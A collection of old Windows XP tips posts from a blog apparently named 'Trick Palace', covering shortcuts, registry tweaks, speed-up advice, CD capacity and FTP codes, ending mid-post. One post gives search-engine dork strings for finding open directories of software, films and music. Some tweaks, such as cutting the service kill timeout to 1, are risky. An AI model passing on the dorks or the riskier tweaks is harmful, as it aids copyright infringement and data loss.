TRICK PALACE

Add A Url Address Bar To The Taskbar

2012-09-28T05:42:00.002-07:00

You can add an Internet URL address bar to your Windows XP taskbar. Doing so will let you type in URLs and launch Web pages without first launching a browser. It will also let you launch some native Windows XP applications in much the same way as you would via the Run menu (so you could type in "calc" to launch the calculator or "mspaint" to launch Microsoft Paint. Here's how you add the address bar:

1. Right-click on the taskbar, select Toolbars, and then click Address.

taskbar

2. The word Address will appear on your taskbar.

taskbar

3. Double click it to access it.

4. If that doesn't work, your taskbar is locked. You can unlock it by right-clicking on the taskbar again and uncheck Lock the Taskbar.

NOTE: You may also need to grab the vertical dotted lines beside the word Address and drag it to the left to make the Address window appear.

All Keyboard Shortcuts

2012-09-24T23:51:00.001-07:00

Getting used to using your keyboard exclusively and leaving your mouse behind will make you much more efficient at performing any task on any Windows system. I use the following keyboard shortcuts every day:

Keyboard Shortcuts

Keyboard Shortcuts

ALT + Tab = Switch between windows

ALT, Space, X = Maximize window

CTRL + Shift + Esc = Task Manager

Windows key + Break = System properties

Windows key + F = Search

Windows key + D = Hide/Display all windows

CTRL + C = copy

CTRL + X = cut

CTRL + V = paste

Also don't forget about the "Right-click" key next to the right Windows key on your keyboard.
Using the arrows and that key can get just about anything done once you've opened up any
program.

[Alt] and [Esc] Switch between running applications

[Alt] and letter Select menu item by underlined letter

[Ctrl] and [Esc] Open Program Menu

[Ctrl] and [F4] Close active document or group windows (does not work with some applications)

[Alt] and [F4] Quit active application or close current window

[Alt] and [-] Open Control menu for active document

Ctrl] Lft., Rt. arrow Move cursor forward or back one word

Ctrl] Up, Down arrow Move cursor forward or back one paragraph

[F1] Open Help for active application

Windows+M Minimize all open windows

Shift+Windows+M Undo minimize all open windows

Windows+F1 Open Windows Help

Windows+Tab Cycle through the Taskbar buttons

Windows+Break Open the System Properties dialog box

Acessability shortcuts

Right SHIFT for eight seconds........ Switch FilterKeys on and off.

Left ALT +left SHIFT +PRINT SCREEN....... Switch High Contrast on and off.

Left ALT +left SHIFT +NUM LOCK....... Switch MouseKeys on and off.

SHIFT....... five times Switch StickyKeys on and off.

NUM LOCK...... for five seconds Switch ToggleKeys on and off.

Explorer shortcuts

END....... Display the bottom of the active window.

HOME....... Display the top of the active window.

NUM LOCK+ASTERISK....... on numeric keypad (*) Display all subfolders under the selected folder.

NUM LOCK+PLUS SIGN....... on numeric keypad (+) Display the contents of the selected folder.

NUM LOCK+MINUS SIGN....... on numeric keypad (-) Collapse the selected folder.

LEFT ARROW...... Collapse current selection if it's expanded, or select parent folder.

RIGHT ARROW....... Display current selection if it's collapsed, or select first subfolder.

Type the following commands in your Run Box (Windows Key + R) or Start Run

cmd = Command Prompt
iexplore + "web address" = Internet Explorer
compmgmt.msc = Computer Management
dhcpmgmt.msc = DHCP Management
dnsmgmt.msc = DNS Management
services.msc = Services
eventvwr = Event Viewer
dsa.msc = Active Directory Users and Computers
dssite.msc = Active Directory Sites and Services
Windows key + E = Explorer

devmgmt.msc = Device Manager
msinfo32 = System Information
cleanmgr = Disk Cleanup
ntbackup = Backup or Restore Wizard (Windows Backup Utility)
mmc = Microsoft Management Console
excel = Microsoft Excel (If Installed)
msaccess = Microsoft Access (If Installed)
powerpnt = Microsoft PowerPoint (If Installed)
winword = Microsoft Word (If Installed)
frontpg = Microsoft FrontPage (If Installed)
notepad = Notepad
wordpad = WordPad
calc = Calculator
msmsgs = Windows Messenger
mspaint = Microsoft Paint
wmplayer = Windows Media Player
rstrui = System Restore
netscp6 = Netscape 6.x
netscp = Netscape 7.x
netscape = Netscape 4.x
waol = America Online
control = Opens the Control Panel
control printers = Opens the Printers Dialog

Internet Browser

Type in u're adress "google", then press [Right CTRL] and [Enter]
add www. and .com to word and go to it

For Windows XP:

Copy. CTRL+C
Cut. CTRL+X
Paste. CTRL+V
Undo. CTRL+Z
Delete. DELETE
Delete selected item permanently without placing the item in the Recycle Bin. SHIFT+DELETE
Copy selected item. CTRL while dragging an item
Create shortcut to selected item. CTRL+SHIFT while dragging an item
Rename selected item. F2
Move the insertion point to the beginning of the next word. CTRL+RIGHT ARROW
Move the insertion point to the beginning of the previous word. CTRL+LEFT ARROW
Move the insertion point to the beginning of the next paragraph. CTRL+DOWN ARROW
Move the insertion point to the beginning of the previous paragraph. CTRL+UP ARROW
Highlight a block of text. CTRL+SHIFT with any of the arrow keys
Select more than one item in a window or on the desktop, or select text within a document. SHIFT with any of the arrow keys
Select all. CTRL+A
Search for a file or folder. F3
View properties for the selected item. ALT+ENTER
Close the active item, or quit the active program. ALT+F4
Opens the shortcut menu for the active window. ALT+SPACEBAR
Close the active document in programs that allow you to have multiple documents open simultaneously. CTRL+F4
Switch between open items. ALT+TAB
Cycle through items in the order they were opened. ALT+ESC
Cycle through screen elements in a window or on the desktop. F6
Display the Address bar list in My Computer or Windows Explorer. F4
Display the shortcut menu for the selected item. SHIFT+F10
Display the System menu for the active window. ALT+SPACEBAR
Display the Start menu. CTRL+ESC
Display the corresponding menu. ALT+Underlined letter in a menu name
Carry out the corresponding command. Underlined letter in a command name on an open menu
Activate the menu bar in the active program. F10
Open the next menu to the right, or open a submenu. RIGHT ARROW
Open the next menu to the left, or close a submenu. LEFT ARROW
Refresh the active window. F5
View the folder one level up in My Computer or Windows Explorer. BACKSPACE
Cancel the current task. ESC
SHIFT when you insert a CD into the CD-ROM drive Prevent the CD from automatically playing.

Use these keyboard shortcuts for dialog boxes:

To Press
Move forward through tabs. CTRL+TAB
Move backward through tabs. CTRL+SHIFT+TAB
Move forward through options. TAB
Move backward through options. SHIFT+TAB
Carry out the corresponding command or select the corresponding option. ALT+Underlined letter
Carry out the command for the active option or button. ENTER
Select or clear the check box if the active option is a check box. SPACEBAR
Select a button if the active option is a group of option buttons. Arrow keys
Display Help. F1
Display the items in the active list. F4
Open a folder one level up if a folder is selected in the Save As or Open dialog box. BACKSPACE

If you have a Microsoft Natural Keyboard, or any other compatible keyboard that includes the Windows logo key and the Application key , you can use these keyboard shortcuts:

Display or hide the Start menu. WIN Key
Display the System Properties dialog box. WIN Key+BREAK
Show the desktop. WIN Key+D
Minimize all windows. WIN Key+M
Restores minimized windows. WIN Key+Shift+M
Open My Computer. WIN Key+E
Search for a file or folder. WIN Key+F
Search for computers. CTRL+WIN Key+F
Display Windows Help. WIN Key+F1
Lock your computer if you are connected to a network domain, or switch users if you are not connected to a network domain. WIN Key+ L
Open the Run dialog box. WIN Key+R
Open Utility Manager. WIN Key+U

Accessibility keyboard shortcuts:

Switch FilterKeys on and off. Right SHIFT for eight seconds
Switch High Contrast on and off. Left ALT+left SHIFT+PRINT SCREEN
Switch MouseKeys on and off. Left ALT +left SHIFT +NUM LOCK
Switch StickyKeys on and off. SHIFT five times
Switch ToggleKeys on and off. NUM LOCK for five seconds
Open Utility Manager. WIN Key+U

Shortcuts you can use with Windows Explorer:

Display the bottom of the active window. END
Display the top of the active window. HOME
Display all subfolders under the selected folder. NUM LOCK+ASTERISK on numeric keypad (*)
Display the contents of the selected folder. NUM LOCK+PLUS SIGN on numeric keypad (+)
Collapse the selected folder. NUM LOCK+MINUS SIGN on numeric keypad (-)
Collapse current selection if it's expanded, or select parent folder. LEFT ARROW
Display current selection if it's collapsed, or select first subfolder. RIGHT ARROW

Insert command prompt anywhere in Explorer

2012-09-18T04:25:00.001-07:00

Command-line junkies get frustrated easily by User Account Control because so many command-
line tools require you to open an administrator command prompt. Particularly frustrating are instances
when you’re using Windows Explorer, and you realize that you need to launch an administrator
command-line prompt at a particular folder, especially one that’s nested several levels deep. You’ll
have to go through the annoying steps required to launch an administrator command prompt, then go through the equally annoying steps of using the CD command to get to the right folder. Then you can
ﬁnally get to work. There’s a simpler way. A command-line hack will let you add a right-click option to Windows Explorer
called Open Administrator Command Prompt Here. That way, you’ll just need to right-click in the
folder in which you want to open an administrator prompt, make your selection, and the prompt . . .
well, the prompt opens promptly.

To do this trick just copy and paste the code below to your Notepad and save with ".reg" extension with any name.

Insert command prompt

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\Directory\shell\runas]
@="Open Administrator Command Prompt Here"
"NoWorkingDirectory"=""

[HKEY_CLASSES_ROOT\Directory\shell\runas\command]
@="cmd.exe /k \"pushd %L && title Command Prompt\""

[HKEY_CLASSES_ROOT\Drive\shell\runas]
@="Open Administrator Command Prompt Here"
"NoWorkingDirectory"=""

[HKEY_CLASSES_ROOT\Drive\shell\runas\command]
@="cmd.exe /k \"pushd %L && title Command Prompt\""

Customize Context menu

2012-09-14T22:50:00.000-07:00

Add “Copy To Folder” and “Move To Folder” Context Menu Options

I spend a lot of time copying and moving ﬁles between folders. More often than not, when I click a
ﬁle in Explorer, I want to copy or move it to another folder. That means I spend a good deal of time
dragging files around or copying and pasting them.

But with a Registry hack, you can save yourself time: you can add Copy To Folder and Move To
Folder options to the right-click context menu. When you choose one of the options from the
menu, you browse to any place on your hard disk to copy or move the ﬁ le to, and then send the
ﬁ le there. To add this option, run the Registry Editor, and go to HKEY_CLASSES_ROOT
AllFilesystemObjects\shellex\ContextMenuHandlers. The shellex name tells you that
it’s a shell extension key that lets you customize the user shell or the interface. Create a new key
called Copy To. Set the default value to {C2FBB630-2971-11d1-A18C-00C04FD75D13}. Create another new key called Move To. Set the default value to {C2FBB631-2971-11d1-A18C-00C04FD75D13}. Exit the Registry. The changes should take effect immediately. The Copy To Folder and Move To Folder options will appear. When you right-click a ﬁle and choose one of the options, you’ll be able to move or copy the ﬁle, using a dialog box like the one shown below.

Find Stuff

2012-09-13T04:31:00.000-07:00

Has this ever happened to you?

You're looking for something on a long web page with Internet Explorer or Netscape. You think it's there, but you're faced with seemingly insurmountable number of paragraphs, sentences, and words to hunt though.

Well, next time this happens to you, hit the Edit menu, Find (or CTRL-F for you shortcut lovers). You'll get a handy little "find" box that lets you type in a specific word. After you type in your search term, hit the Find Next button and Explorer will look for that word on the page. If it's successful, you'll be zapped right to it.

As if that wasn't cool enough, you can also use a variation of this tip in Windows Explorer. Next time you're looking for a file in Explorer, hit CRTL-F and you'll get a Find or Search box (depending on what flavor of Windows you're using).

If you are already in the area of your hard drive where you think the file is (say, My Documents), hit CTRL-F and your search will be set to look in the My Documents sfolder.

Google secrets

2012-09-09T04:29:00.002-07:00

Google secrets

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method 1
?ww.google.com

put this string in google search:

"parent directory " /appz/ -xxx -html -htm -php -shtml -opendivx -md5 -md5sums

"parent directory " DVDRip -xxx -html -htm -php -shtml -opendivx -md5 -md5sums

"parent directory "Xvid -xxx -html -htm -php -shtml -opendivx -md5 -md5sums

"parent directory " Gamez -xxx -html -htm -php -shtml -opendivx -md5 -md5sums

"parent directory " MP3 -xxx -html -htm -php -shtml -opendivx -md5 -md5sums

"parent directory " Name of Singer or album -xxx -html -htm -php -shtml -opendivx -md5 -md5sums

Notice that i am only changing the word after the parent directory, change it to what you want and you will get a lot of stuff.

voila!

method 2
?ww.google.com

put this string in google search:

?intitle:index.of? mp3

You only need add the name of the song/artist/singer.
Example: ?intitle:index.of? mp3 jackson

Make Playlist file

2012-09-06T02:38:00.001-07:00

Here is simple trick to play all files you want in one click.

Make Playlist file

You may find this helpful if you donwload hundreds of short episodes in rm format like me and tired of double-click to open next files.

Very easy. Use notepad to open a new file, type this inside:
file://link to file1
file://link to file2
(type as many as you want)
Close file. Rename it to FileName.rm

Then you`re done!!!!

Ex:
I put my playlist file here: C:\Movies\7VNR

And the movie files are in C:\Movies\7VNR\DragonBall

Then inside my playlist file I`ll have something like this:

file://DragonBall/db134.rm
file://DragonBall/db135.rm
file://DragonBall/db136.rm
file://DragonBall/db137.rm
file://DragonBall/db138.rm

Speed Up Windows XP

2012-09-06T02:21:00.003-07:00

Since defragging the disk won't do much to improve Windows XP performance, here are 23 suggestions that will. Each can enhance the performance and reliability of your customers' PCs. Best of all, most of them will cost you nothing.

Speed up Windows XP

1.) To decrease a system's boot time and increase system performance, use the money you save by not buying defragmentation software -- the built-in Windows defragmenter works just fine -- and instead equip the computer with an Ultra-133 or Serial ATA hard drive with 8-MB cache buffer.

2.) If a PC has less than 512 MB of RAM, add more memory. This is a relatively inexpensive and easy upgrade that can dramatically improve system performance.

3.) Ensure that Windows XP is utilizing the NTFS file system. If you're not sure, here's how to check: First, double-click the My Computer icon, right-click on the C: Drive, then select Properties. Next, examine the File System type; if it says FAT32, then back-up any important data. Next, click Start, click Run, type CMD, and then click OK. At the prompt, type CONVERT C: /FS:NTFS and press the Enter key. This process may take a while; it's important that the computer be uninterrupted and virus-free. The file system used by the bootable drive will be either FAT32 or NTFS. I highly recommend NTFS for its superior security, reliability, and efficiency with larger disk drives.

4.) Disable file indexing. The indexing service extracts information from documents and other files on the hard drive and creates a "searchable keyword index." As you can imagine, this process can be quite taxing on any system.

The idea is that the user can search for a word, phrase, or property inside a document, should they have hundreds or thousands of documents and not know the file name of the document they want. Windows XP's built-in search functionality can still perform these kinds of searches without the Indexing service. It just takes longer. The OS has to open each file at the time of the request to help find what the user is looking for.

Most people never need this feature of search. Those who do are typically in a large corporate environment where thousands of documents are located on at least one server. But if you're a typical system builder, most of your clients are small and medium businesses. And if your clients have no need for this search feature, I recommend disabling it.

Here's how: First, double-click the My Computer icon. Next, right-click on the C: Drive, then select Properties. Uncheck "Allow Indexing Service to index this disk for fast file searching." Next, apply changes to "C: subfolders and files," and click OK. If a warning or error message appears (such as "Access is denied"), click the Ignore All button.

5.) Update the PC's video and motherboard chipset drivers. Also, update and configure the BIOS. For more information on how to configure your BIOS properly, see this article on my site.

6.) Empty the Windows Prefetch folder every three months or so. Windows XP can "prefetch" portions of data and applications that are used frequently. This makes processes appear to load faster when called upon by the user. That's fine. But over time, the prefetch folder may become overloaded with references to files and applications no longer in use. When that happens, Windows XP is wasting time, and slowing system performance, by pre-loading them. Nothing critical is in this folder, and the entire contents are safe to delete.

7.) Once a month, run a disk cleanup. Here's how: Double-click the My Computer icon. Then right-click on the C: drive and select Properties. Click the Disk Cleanup button -- it's just to the right of the Capacity pie graph -- and delete all temporary files.

8.) In your Device Manager, double-click on the IDE ATA/ATAPI Controllers device, and ensure that DMA is enabled for each drive you have connected to the Primary and Secondary controller. Do this by double-clicking on Primary IDE Channel. Then click the Advanced Settings tab. Ensure the Transfer Mode is set to "DMA if available" for both Device 0 and Device 1. Then repeat this process with the Secondary IDE Channel.

9.) Upgrade the cabling. As hard-drive technology improves, the cabling requirements to achieve these performance boosts have become more stringent. Be sure to use 80-wire Ultra-133 cables on all of your IDE devices with the connectors properly assigned to the matching Master/Slave/Motherboard sockets. A single device must be at the end of the cable; connecting a single drive to the middle connector on a ribbon cable will cause signaling problems. With Ultra DMA hard drives, these signaling problems will prevent the drive from performing at its maximum potential. Also, because these cables inherently support "cable select," the location of each drive on the cable is important. For these reasons, the cable is designed so drive positioning is explicitly clear.

10.) Remove all spyware from the computer. Use free programs such as AdAware by Lavasoft or SpyBot Search & Destroy. Once these programs are installed, be sure to check for and download any updates before starting your search. Anything either program finds can be safely removed. Any free software that requires spyware to run will no longer function once the spyware portion has been removed; if your customer really wants the program even though it contains spyware, simply reinstall it. For more information on removing Spyware visit this Web Pro News page.

11.) Remove any unnecessary programs and/or items from Windows Startup routine using the MSCONFIG utility. Here's how: First, click Start, click Run, type MSCONFIG, and click OK. Click the StartUp tab, then uncheck any items you don't want to start when Windows starts. Unsure what some items are? Visit the WinTasks Process Library. It contains known system processes, applications, as well as spyware references and explanations. Or quickly identify them by searching for the filenames using Google or another Web search engine.

12.) Remove any unnecessary or unused programs from the Add/Remove Programs section of the Control Panel.

13.) Turn off any and all unnecessary animations, and disable active desktop. In fact, for optimal performance, turn off all animations. Windows XP offers many different settings in this area. Here's how to do it: First click on the System icon in the Control Panel. Next, click on the Advanced tab. Select the Settings button located under Performance. Feel free to play around with the options offered here, as nothing you can change will alter the reliability of the computer -- only its responsiveness.

14.) If your customer is an advanced user who is comfortable editing their registry, try some of the performance registry tweaks offered at Tweak XP.

15.) Visit Microsoft's Windows update site regularly, and download all updates labeled Critical. Download any optional updates at your discretion.

16.) Update the customer's anti-virus software on a weekly, even daily, basis. Make sure they have only one anti-virus software package installed. Mixing anti-virus software is a sure way to spell disaster for performance and reliability.

17.) Make sure the customer has fewer than 500 type fonts installed on their computer. The more fonts they have, the slower the system will become. While Windows XP handles fonts much more efficiently than did the previous versions of Windows, too many fonts -- that is, anything over 500 -- will noticeably tax the system.

18.) Do not partition the hard drive. Windows XP's NTFS file system runs more efficiently on one large partition. The data is no safer on a separate partition, and a reformat is never necessary to reinstall an operating system. The same excuses people offer for using partitions apply to using a folder instead. For example, instead of putting all your data on the D: drive, put it in a folder called "D drive." You'll achieve the same organizational benefits that a separate partition offers, but without the degradation in system performance. Also, your free space won't be limited by the size of the partition; instead, it will be limited by the size of the entire hard drive. This means you won't need to resize any partitions, ever. That task can be time-consuming and also can result in lost data.

19.) Check the system's RAM to ensure it is operating properly. I recommend using a free program called MemTest86. The download will make a bootable CD or diskette (your choice), which will run 10 extensive tests on the PC's memory automatically after you boot to the disk you created. Allow all tests to run until at least three passes of the 10 tests are completed. If the program encounters any errors, turn off and unplug the computer, remove a stick of memory (assuming you have more than one), and run the test again. Remember, bad memory cannot be repaired, but only replaced.

20.) If the PC has a CD or DVD recorder, check the drive manufacturer's Web site for updated firmware. In some cases you'll be able to upgrade the recorder to a faster speed. Best of all, it's free.

Data Capacity of CDs

2012-09-01T20:59:00.001-07:00

Data Capacity of CDs

Abstract
You can fit on a S/VCD without overburning:
- approx. 735 MB of MPEG data onto a 74min/650MB disc
- approx. 795 MB of MPEG data onto an 80min/700MB disc

You can fit on a CD-ROM without overburning:
- approx. 650 MB of data onto a 74min/650MB disc
- approx. 703 MB of data onto an 80min/700MB disc

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Introduction
Let us ignore for now the terms of megabyte for CD capacity and try to understand how the data is stored on a CD.

As well all know, the data is stored digitally as binary data. This means, however the actual information is actually kept on the disc, this information is in the form of "1"s and "0"s. Physically, the information on a CD is as pits on a thin sheet of metal (aluminium).

An a CD-R disc, the data is physically on an organic dye layer which simulates the metal layer on a real pressed CD.

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How is the information structured
Now, on the CD, the information isn't just organised from beginning to end willy-nilly. Otherwise, it would be really hard to find a useful piece of information on the CD.

Rather, the information is organised in sectors. Consider a sector as like a page in a book. Just like you are able to quickly find something in a book if you know the page number, you can quickly find something on a CD if you know the sector number.

Now, remember that the CD was original made to hold audio data. It was decided, that the CD would would 75 sectors per second of audio. Although I cannot guess where this number comes from, it is quite appropriate for the audio CD. It means that you can "seek" an audio CD accurately to 1/75th of a second -- which is more than enough for consumer purposes.

Now, with this in mind, we can work out the total data capacity of user data for 1 sector.

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The total data capacity of user data of 1 sector on a CD
CD audio uses uncompressed PCM stereo audio, 16-bit resolution sampled at 44.1 kHz.

Thus 1 second of audio contains:
16 bits/channel * 2 channels * 44100 samples/second * 1 second
= 1411200 bits
= 176400 bytes

Since there are 75 sectors per second
1 sector
= 176400 bytes / 75
= 2352 bytes

One sector on a CD contains 2352 bytes max.

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The concept of different MODES and FORMS of burning
Now, audio CD was well and good, but the medium would become much more useful if you could store other data on the disc as well. This became to be know as CD-ROM of course.

Now, the audio-CD uses the ENTIRE sector for audio data.

However, for CD-ROMs this caused a problem. Simply, CDs and the CD reading mechanisms were not 100% faultless. That is, errors (indeed frequent errors) could be made during the reading. For audio CDs, this does not matter as much as you could simply interpolate from the adjacent audio samples. This will obviously NOT DO for data CDs. A single bit error could lead to a program being unexecutable or ruin an achive file.

Thus, for CD-ROMs, part of each sector is devoted to error correction codes and error detection codes. The CD-R FAQ has the details, but in effect, only 2048 bytes out of a total of 2352 bytes in each sector is available for user data on a data CD.

This burning mode is either MODE1 or MODE2 Form1.

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MODE2 Form2 sectors of VCDs and SVCDs
Now, for VCDs and SVCDs, the video tracks do not necessarily require the robust error correction as normal data on a CD-ROM. However, there is still some overhead per sector that is used for something other than video data (e.g., sync headers).

S/VCDs video tracks are burnt in what is called MODE2 Form2 sectors. In this mode, only 2324 bytes out of a total of 2352 bytes in each sector is available for user data.

This is MUCH MORE than for CD-ROMs, but still less per sector than audio CD.

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The disc capacities of CD-ROMs, audio-CDs and VCDs
Now, obviously what ultimately determines the capacity of a disc is the total number of sectors it contains. This is similar to the total number of pages in a blank exercise book (if you recall the book analogy).

The secondary determinant is the burning mode of the disc.

For audio CDs, it is as if you could fill each page from top to bottom with audio data as the entire sector is used for audio data.

For CD-ROMs, it is as if you need to first rule a margin and then leave the bottom part of each page for footnotes (headers + ECC + EDC). The amount of text you can actually write per page is then less due to these other constraints.

For S/VCDs, we still need to rule a margin on the page, but we don't have to worry about the footnotes (headers). We can fit MORE text than a CD-ROM, but less than an audio-CD.

Now remember, 1 second on a CD = 75 sectors.

Thus:
- 74 min CD = 333,000 sectors
- 80 min CD = 360,000 sectors

Data capacity in Mb for an audio-CD
74 min
= 333,000 sectors * 2352 bytes / sector
= 783216000 bytes
= 746.9 Mb

80 min
= 360,000 sectors * 2352 bytes / sector
= 846720000 bytes
= 807.5 Mb

Data capacity in Mb for a CD-ROM
74 min
= 333,000 sectors * 2048 bytes / sector
= 681984000 bytes
= 650.4 Mb

80 min
= 360,000 sectors * 2048 bytes / sector
= 737280000 bytes
= 703.1 Mb

Data capacity in Mb for a S/VCD
74 min
= 333,000 sectors * 2324 bytes / sector
= 773892000 bytes
= 738.0 Mb

80 min
= 360,000 sectors * 2324 bytes / sector
= 836640000 bytes
= 797.9 Mb

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Conclusions
As you can see, the often quoted capacities of 650MB and 700MB refer to CD-ROM capacities.

Due to the fact that S/VCDs use a different burning mode where MORE of each sector is available as user data, the relatively capacities are HIGHER.

Now, since S/VCDs are not composed of PURELY video tracks and have some unavoidable overheads, the actually total capacity left for video tracks is a few Mb less for each disc (about 735 Mb for 74min discs and 795 Mb for 80min discs). This is where the often quoted capacities of 740MB and 800MB come from. They are quite accurate.

All these capacities are available BEFORE overburning. Overburning is where you burn MORE sectors than the disc is rated for. If you overburn, you can typically achieve about 1-2 minutes of additional capacity (depending on your drive and media).

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COMMON FTP ERROR CODES

2012-09-01T20:56:00.000-07:00

COMMON FTP ERROR CODES

# Description

110 Restart marker reply. In this case, the text is exact and not left to the particular implementation; it must read: MARK yyyy = mmmm where yyyy is User-process data stream marker, and mmmm server's equivalent marker (note the spaces between markers and "=").

120 Service ready in nnn minutes.

125 Data connection already open; transfer starting.

150 File status okay; about to open data connection.

200 Command okay.

202 Command not implemented, superfluous at this site.

211 System status, or system help reply.

212 Directory status.

213 File status.

214 Help message.On how to use the server or the meaning of a particular non-standard command. This reply is useful only to the human user.

215 NAME system type. Where NAME is an official system name from the list in the Assigned Numbers document.

220 Service ready for new user.

221 Service closing control connection.

225 Data connection open; no transfer in progress.

226 Closing data connection. Requested file action successful (for example, file transfer or file abort).

227 Entering Passive Mode (h1,h2,h3,h4,p1,p2).

230 User logged in, proceed. Logged out if appropriate.

250 Requested file action okay, completed.

257 "PATHNAME" created.

331 User name okay, need password.

332 Need account for login.

350 Requested file action pending further information

421 Service not available, closing control connection.This may be a reply to any command if the service knows it must shut down.

425 Can't open data connection.

426 Connection closed; transfer aborted.

450 Requested file action not taken.

451 Requested action aborted. Local error in processing.

452 Requested action not taken. Insufficient storage space in system.File unavailable (e.g., file busy).

500 Syntax error, command unrecognized. This may include errors such as command line too long.

501 Syntax error in parameters or arguments.

502 Command not implemented.

503 Bad sequence of commands.

504 Command not implemented for that parameter.

530 Not logged in.

532 Need account for storing files.

550 Requested action not taken. File unavailable (e.g., file not found, no access).

551 Requested action aborted. Page type unknown.

552 Requested file action aborted. Exceeded storage allocation (for current directory or dataset).

553 Requested action not taken. File name not allowed.

Customizing your screen saver

2012-09-01T20:54:00.003-07:00

This isnt a tweak, but a great little feature! For a great way to put your digital photos to work, try creating a slide show presentation for use as a screen saver. Here's how:

Customizing your screen saver

1. Right-click an empty spot on your desktop and then click Properties.

2. Click the Screen Saver tab.

3. In the Screen saver list, click My Pictures Slideshow.
Place your photos to My Picture folder.

4. Click Settings to make any adjustments, such as how often the pictures should change, what size they should be, and whether you'll use transition effects between pictures, and then click OK.

Now your screen saver is a random display of the pictures taken from your My Pictures folder.

CAUGHT A VIRUS

2012-08-31T05:26:00.000-07:00

CAUGHT A VIRUS

Good Evening everyone.
Here now I am going to describe the manual way to detect and disable the virus that automatically starts at computer start up. The virus that harm your computer must get reside in your c: drive and into registry editor. The first thing i recommend is install an antivirus to get secure from viruses from internet.
I am telling some tips that help you allot.
Tip 1. Go to run -> type msconfig -> then unselect all entries from startup tab, that are looking odd to you.

Tip 2. open taskmanager -> kill that process that are not of your need.
some hackers insert the virus into explorer, your default browser, or even in the common file "svchost.exe".
don't kill any system process.
If you don't have knowledge about it.

Tip 3.
Use the updated antiviruse.

To Know which Antiviruse is the best check out the List of all Antiviruses from Wikipedia.
http://en.wikipedia.org/wiki/List_of_antivirus_software

To know the list of top ten Antiviruses click HERE
Get Secure.

Increase shutdown speed

2012-08-29T06:14:00.000-07:00

Today I am going to go through a trick to shut-down your PC faster as it normally,
takes time to Shut-down. This is the simplest Trick ever. When we Shut-down the
computer, our PC runs the process killing task. We can improve the PC shut-down
speed by just decreasing the time to wait for killing the processes.

To do this Trick just follow the steps as it is
1. Goto Start, then click RUN.

2. Type "regedit".

You can open the Registry Editor by any method you wish.
3. Now Goto the Key
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control

4. Under "Control" Key goto the String value "WaitToKillServiceTimeout".
5. Double click it, and change the value to 1 or 10 or 100.

The minimum you give the lesser the time the Processor wait to kill processes.

Now close the Registry Editor and refresh the Desktop 2-3 times.
Now the time to shut-down and see the speed will increase.
Please comment whether the Shut-down speed will increase or not.

Windows XP hidden Processes

2012-08-28T05:26:00.001-07:00

when you log in to the windows XP the Windows XP logon screen will appear.
Will you know what all the processes running behind that Windows XP logo.
Today i am going to explore the processes running behind the windows logo.
I will show you with this trick that how to know what the real processes running
behind the boring Windows XP logo at start-up.Also the hardware description is
also shown on start-up.
To do that trick just follow the steps as i do.

Step 1.
GOTO-->Start-->My Computer then right click it and click Properties.

Step 2.
Now click on Advanced tab.

Step 3.
Under Start-up and Recovery click on Settings. Startup and Recovery tab will open.

Step 4.
Click on Edit button. The Boot.ini file Open in Notepad.

Step 5.
In the End of last line just add " /SOS" . Notice that there is a space before.

Now save the file and press OK. Then OK again to close system properties.
Now to see the hidden start-up processes just reboot the system. On each
time you boot your system the hidden process will show.
To revert to the normal start-up just delete the " /SOS" from the file and then
save the file.

Install Windows XP faster

2012-08-27T07:44:00.001-07:00

The Installation of Windows is slow, then try this Trick when you install the windows XP next Time.
It saves your half of time for installation.

To install windows xp faster follow the steps as it is..

Install Windows XP faster (1)

1.During installation Press (shift+f10) keys.

2. Command Prompt will open.

3. Type "taskmgr".

Install Windows XP faster(2)

4. Right click the process "setup.exe" under Processes tab and select goto process.

5. Now right click the "Setup.exe" and set priority to "High".

Install Windows XP faster(3)

6. Close the Task Manager and Command Prompt.

See how fast is it and please comment.

Thank u and enjoy fast speed installation.
I also upload a video to help you more.

Increase computer speed

2012-08-25T02:46:00.000-07:00

Sometimes your RAM is less (say 512MB or 1GB) then you have to suffer with slow speed PC experience. Today I am going to tell you how to improve the PC speed by changing or using system Page file.

Page file is the Virtual Memory that is used by OS when the RAM is fully used.
There is interesting trick for all of you about how to increase your system RAM memory by using system page file.

You have to follow the steps as write:

Step 1.
Goto Start ,then right click My Computer and then Properties.

Step 2.
Goto Advanced tab, then under Performance,click settings.

Step 3.
Now Click on Advanced tab and under Virtual Memory,click Change.

Step 4.
Now select any of your computer drive which have enough free space(APPX. 3gb).
Select the System Managed size radio button and then click on set button.
Then OK,then click Apply and OK, then again OK.

Know restart the computer.

Boot Windows XP Fast

2012-08-17T22:14:00.001-07:00

I am only write the steps to boot the windows xp faster.

Boot Windows XP Fast

1. Open notepad.exe, type "del c:\windows\prefetch\ntosboot-*.* /q" (without the quotes) & save as "ntosboot.bat" in c:\

2. From the Start menu, select "Run..." & type "gpedit.msc".

3. Double click "Windows Settings" under "Computer Configuration" and double click again on "Shutdown" in the right window.

4. In the new window, click "add", "Browse", locate your "ntosboot.bat" file & click "Open".

5. Click "OK", "Apply" & "OK" once again to exit.

6. From the Start menu, select "Run..." & type "devmgmt.msc".

7. Double click on "IDE ATA/ATAPI controllers"

8. Right click on "Primary IDE Channel" and select "Properties".

9. Select the "Advanced Settings" tab then on the device or 1 that doesn't have 'device type' greyed out
select 'none' instead of 'autodetect' & click "OK".

10. Right click on "Secondary IDE channel", select "Properties" and repeat step 9.

11. Reboot your computer.

MAKE MULTIBOOT PENDRIVE OR DVD

2012-08-06T06:39:00.001-07:00

Today I am going to write a post on how to make your pendrive or dvd multi-bootable.
when you burn your windows dvd or cd you have approx. half of space left in your DVD or CD.
for eg: windows 7 is approx. 2.3GB , but your DVD is of 4.7 GB.
So don't worry about this free space. I am there to help you.
I am going to tell u how to make your dvd multi-bootable.
I mean make bootable DVD for multi windows or linux distros.

I post the manual way to make bootable pendrive for windows 7 in my older post.
Today I listed some tools to make multiboot pendrive or DVD.

1. UNIVERSAL-USB-INSTALLER for bootable PenDrive.

2. YUMI for Multi-Bootable PenDrive.

3. SARDU for Multi-Bootable PenDrive or DVD.

4. WINDOWS 7 USB/DVD DOWNLOAD TOOL for making Windows 7\8 pendrive\DVD bootable.

These all tools are free.
Have a good day :)

SET VIDEO AS WALLPAPER

2012-07-20T03:29:00.000-07:00

Good afternoon. Today I am going to post a cool trick. Have you ever seen the video run as background wallpaper. Now I am going to teach a step by step process to do this cool trick.
Don't worry this is the simple trick.

Step 1
Now first of all Play Your video in Full screen mode.

Step 2
Press "Print Screen" button while watching video.

Step 3
Now open Paint and press "ctrl+v" or click on "paste" button.

Step 4
Save it as "movie.png" without quotes.

Step 5
